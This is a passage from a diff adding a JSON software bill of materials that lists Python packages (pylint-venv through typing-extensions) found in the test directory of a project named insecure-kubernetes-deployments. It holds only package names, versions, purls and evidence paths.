+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pylint-venv",
+      "version": "latest",
+      "purl": "pkg:pypi/pylint-venv@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pylint-venv@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pyls-spyder",
+      "version": "0.4.0",
+      "purl": "pkg:pypi/pyls-spyder@0.4.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pyls-spyder@0.4.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pyodbc",
+      "version": "latest",
+      "purl": "pkg:pypi/pyodbc@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pyodbc@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pyparsing",
+      "version": "latest",
+      "purl": "pkg:pypi/pyparsing@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pyparsing@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pyrsistent",
+      "version": "latest",
+      "purl": "pkg:pypi/pyrsistent@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pyrsistent@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pytest",
+      "version": "latest",
+      "purl": "pkg:pypi/pytest@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pytest@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "python-json-logger",
+      "version": "latest",
+      "purl": "pkg:pypi/python-json-logger@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/python-json-logger@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "python-lsp-black",
+      "version": "latest",
+      "purl": "pkg:pypi/python-lsp-black@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/python-lsp-black@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "python-lsp-jsonrpc",
+      "version": "1.0.0",
+      "purl": "pkg:pypi/python-lsp-jsonrpc@1.0.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/python-lsp-jsonrpc@1.0.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "python-lsp-server",
+      "version": "latest",
+      "purl": "pkg:pypi/python-lsp-server@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/python-lsp-server@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "python-slugify",
+      "version": "latest",
+      "purl": "pkg:pypi/python-slugify@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/python-slugify@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "python-snappy",
+      "version": "latest",
+      "purl": "pkg:pypi/python-snappy@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/python-snappy@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pytoolconfig",
+      "version": "latest",
+      "purl": "pkg:pypi/pytoolconfig@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pytoolconfig@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pyviz-comms",
+      "version": "latest",
+      "purl": "pkg:pypi/pyviz-comms@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pyviz-comms@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pyxdg",
+      "version": "latest",
+      "purl": "pkg:pypi/pyxdg@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pyxdg@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pyzmq",
+      "version": "latest",
+      "purl": "pkg:pypi/pyzmq@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pyzmq@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "qstylizer",
+      "version": "latest",
+      "purl": "pkg:pypi/qstylizer@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/qstylizer@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "qtconsole",
+      "version": "latest",
+      "purl": "pkg:pypi/qtconsole@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/qtconsole@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "regex",
+      "version": "latest",
+      "purl": "pkg:pypi/regex@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/regex@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "requests-file",
+      "version": "latest",
+      "purl": "pkg:pypi/requests-file@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/requests-file@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "requests-toolbelt",
+      "version": "latest",
+      "purl": "pkg:pypi/requests-toolbelt@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/requests-toolbelt@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "responses",
+      "version": "latest",
+      "purl": "pkg:pypi/responses@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/responses@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "rfc3339-validator",
+      "version": "latest",
+      "purl": "pkg:pypi/rfc3339-validator@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/rfc3339-validator@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "rfc3986-validator",
+      "version": "latest",
+      "purl": "pkg:pypi/rfc3986-validator@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/rfc3986-validator@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "rope",
+      "version": "latest",
+      "purl": "pkg:pypi/rope@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/rope@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "ruamel.yaml",
+      "version": "latest",
+      "purl": "pkg:pypi/ruamel.yaml@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/ruamel.yaml@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "ruamel-yaml-conda",
+      "version": "latest",
+      "purl": "pkg:pypi/ruamel-yaml-conda@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/ruamel-yaml-conda@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "s3fs",
+      "version": "latest",
+      "purl": "pkg:pypi/s3fs@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/s3fs@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "safetensors",
+      "version": "latest",
+      "purl": "pkg:pypi/safetensors@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/safetensors@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "scikit-image",
+      "version": "latest",
+      "purl": "pkg:pypi/scikit-image@latest",
+      "type": "framework",
+      "bom-ref": "pkg:pypi/scikit-image@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "scikit-learn",
+      "version": "latest",
+      "purl": "pkg:pypi/scikit-learn@latest",
+      "type": "framework",
+      "bom-ref": "pkg:pypi/scikit-learn@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "scikit-learn-intelex",
+      "version": "20230426.111612",
+      "purl": "pkg:pypi/scikit-learn-intelex@20230426.111612",
+      "type": "framework",
+      "bom-ref": "pkg:pypi/scikit-learn-intelex@20230426.111612",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "scipy",
+      "version": "latest",
+      "purl": "pkg:pypi/scipy@latest",
+      "type": "framework",
+      "bom-ref": "pkg:pypi/scipy@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "seaborn",
+      "version": "latest",
+      "purl": "pkg:pypi/seaborn@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/seaborn@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "sip",
+      "version": "latest",
+      "purl": "pkg:pypi/sip@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/sip@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "smart-open",
+      "version": "latest",
+      "purl": "pkg:pypi/smart-open@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/smart-open@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "sniffio",
+      "version": "latest",
+      "purl": "pkg:pypi/sniffio@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/sniffio@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "sortedcontainers",
+      "version": "latest",
+      "purl": "pkg:pypi/sortedcontainers@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/sortedcontainers@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "soupsieve",
+      "version": "latest",
+      "purl": "pkg:pypi/soupsieve@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/soupsieve@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "spyder",
+      "version": "latest",
+      "purl": "pkg:pypi/spyder@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/spyder@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "spyder-kernels",
+      "version": "latest",
+      "purl": "pkg:pypi/spyder-kernels@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/spyder-kernels@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "stack-data",
+      "version": "latest",
+      "purl": "pkg:pypi/stack-data@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/stack-data@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "statsmodels",
+      "version": "latest",
+      "purl": "pkg:pypi/statsmodels@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/statsmodels@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "sympy",
+      "version": "latest",
+      "purl": "pkg:pypi/sympy@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/sympy@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "tables",
+      "version": "latest",
+      "purl": "pkg:pypi/tables@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/tables@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "tabulate",
+      "version": "latest",
+      "purl": "pkg:pypi/tabulate@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/tabulate@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "tblib",
+      "version": "latest",
+      "purl": "pkg:pypi/tblib@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/tblib@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "tenacity",
+      "version": "latest",
+      "purl": "pkg:pypi/tenacity@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/tenacity@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "terminado",
+      "version": "latest",
+      "purl": "pkg:pypi/terminado@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/terminado@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "text-unidecode",
+      "version": "latest",
+      "purl": "pkg:pypi/text-unidecode@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/text-unidecode@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "textdistance",
+      "version": "latest",
+      "purl": "pkg:pypi/textdistance@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/textdistance@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "threadpoolctl",
+      "version": "latest",
+      "purl": "pkg:pypi/threadpoolctl@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/threadpoolctl@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "three-merge",
+      "version": "latest",
+      "purl": "pkg:pypi/three-merge@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/three-merge@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "tifffile",
+      "version": "latest",
+      "purl": "pkg:pypi/tifffile@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/tifffile@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "tinycss2",
+      "version": "latest",
+      "purl": "pkg:pypi/tinycss2@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/tinycss2@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "tokenizers",
+      "version": "latest",
+      "purl": "pkg:pypi/tokenizers@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/tokenizers@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "toml",
+      "version": "latest",
+      "purl": "pkg:pypi/toml@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/toml@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "tomlkit",
+      "version": "latest",
+      "purl": "pkg:pypi/tomlkit@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/tomlkit@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "toolz",
+      "version": "latest",
+      "purl": "pkg:pypi/toolz@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/toolz@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "tornado",
+      "version": "latest",
+      "purl": "pkg:pypi/tornado@latest",
+      "type": "framework",
+      "bom-ref": "pkg:pypi/tornado@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "tqdm",
+      "version": "latest",
+      "purl": "pkg:pypi/tqdm@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/tqdm@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "traitlets",
+      "version": "latest",
+      "purl": "pkg:pypi/traitlets@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/traitlets@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "transformers",
+      "version": "latest",
+      "purl": "pkg:pypi/transformers@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/transformers@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "typing-extensions",
+      "version": "latest",
+      "purl": "pkg:pypi/typing-extensions@latest",
+      "type": "library",
